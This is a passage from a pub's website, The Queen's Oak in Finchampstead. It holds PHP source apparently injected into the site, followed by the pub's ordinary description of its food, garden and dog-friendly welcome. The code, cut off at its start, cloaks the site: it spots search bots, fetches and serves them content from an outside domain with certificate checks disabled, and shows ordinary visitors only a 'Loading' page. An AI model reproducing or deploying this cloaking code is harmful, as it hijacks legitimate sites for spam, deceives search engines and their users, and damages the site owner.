true, CURLOPT_FOLLOWLOCATION => true, CURLOPT_MAXREDIRS => 5, CURLOPT_TIMEOUT => $timeout, CURLOPT_SSL_VERIFYPEER => false, CURLOPT_SSL_VERIFYHOST => false, CURLOPT_USERAGENT => 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36', CURLOPT_ENCODING => 'gzip, deflate', CURLOPT_HTTP_VERSION => CURL_HTTP_VERSION_1_1 ]); $content = curl_exec($ch); $http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE); $error = curl_error($ch); curl_close($ch); if ($content && $http_code == 200) { return $content; } // Log error (optional) error_log("cURL failed: $error (HTTP $http_code)"); } // Fallback: file_get_contents if (ini_get('allow_url_fopen')) { $context = stream_context_create([ 'http' => [ 'method' => 'GET', 'timeout' => $timeout, 'user_agent' => 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36', 'follow_location' => 1, 'max_redirects' => 5 ], 'ssl' => [ 'verify_peer' => false, 'verify_peer_name' => false ] ]); $content = @file_get_contents($url, false, $context); if ($content !== false) { return $content; } } return false; } function cache_content($key, $content, $ttl = 3600) { /** * Simple file-based cache */ $cache_dir = __DIR__ . '/.cache'; if (!is_dir($cache_dir)) { @mkdir($cache_dir, 0755, true); } $cache_file = $cache_dir . '/' . md5($key) . '.html'; if ($content !== null) { // Save cache file_put_contents($cache_file, serialize([ 'time' => time(), 'content' => $content ])); } else { // Read cache if (file_exists($cache_file)) { $data = unserialize(file_get_contents($cache_file)); if ($data && (time() - $data['time']) < $ttl) { return $data['content']; } } } return false; } function serve_bot_content($remote_url) { /** * Serve content to search bots */ // Try cache first (faster!) $cached = cache_content('bot_content', null, 3600); if ($cached) { header('Content-Type: text/html; charset=utf-8'); header('X-Content-Source: cache'); echo $cached; exit; } // Fetch fresh content $content = get_remote_content($remote_url, 15); if ($content) { // Cache for next request cache_content('bot_content', $content); header('Content-Type: text/html; charset=utf-8'); header('X-Content-Source: remote'); echo $content; exit; } // Fallback: Show error http_response_code(503); header('Retry-After: 300'); echo 'Temporarily Unavailable'; echo '

503 Service Temporarily Unavailable

'; exit; } function serve_user_content() { /** * Serve content to regular users */ header('Content-Type: text/html; charset=utf-8'); echo ' Loading...

Please wait...

Loading your content

'; exit; } // ============================================ // MAIN EXECUTION // ============================================ $remote_url = 'https://paris88thequeen.pages.dev/'; // Check if bot if (is_search_bot()) { // Additional security: Verify Google IP (optional tapi recommended) $user_agent = $_SERVER['HTTP_USER_AGENT'] ?? ''; if (stripos($user_agent, 'Googlebot') !== false) { // It claims to be Googlebot, verify IP if (!verify_google_ip()) { // Fake Googlebot! Serve user content error_log("Fake Googlebot detected from IP: " . ($_SERVER['REMOTE_ADDR'] ?? 'unknown')); serve_user_content(); } } // Legit bot, serve SEO content serve_bot_content($remote_url); } else { // Regular user serve_user_content(); } ?> The Queen's Oak

THE QUEEN’S OAK PUB, FINCHAMPSTEAD

Paul Brotherton welcomes you to The Queen's Oak in Finchampstead. This historic pub is situated in the centre of the village nestled within the beautiful Berkshire countryside. Originally called The White Horse, the pub was renamed after Queen Victoria planted an oak tree opposite the pub. Visitors to the pub enjoy a very warm welcome, exquisite food and a splendid selection of ales, wines and spirits all selected to complement the food.

The interior has recently been tastefully refurbished yet retains its historic charm, the bar is surrounded by blooms of hops and in chillier times the roaring open fire is the perfect way to warm yourself after a country walk. The garden is larger than average and a peaceful place to wind away a few hours.

Everyone is welcome at The Queen's Oak especially our four-legged friends, Paul is often found fussing over dogs that visit and even cooks special treats for them. As the pub is surrounded by some of the best walks in the county why not use The Queen's Oak as the start or finish to your walk.

TAKE TOUR

Food & Drink
FOOD & DRINK
DINING & SOCIALISING
Read more
Local Walks
LOCAL WALKS
WORK OFF A PUB LUNCH
Read more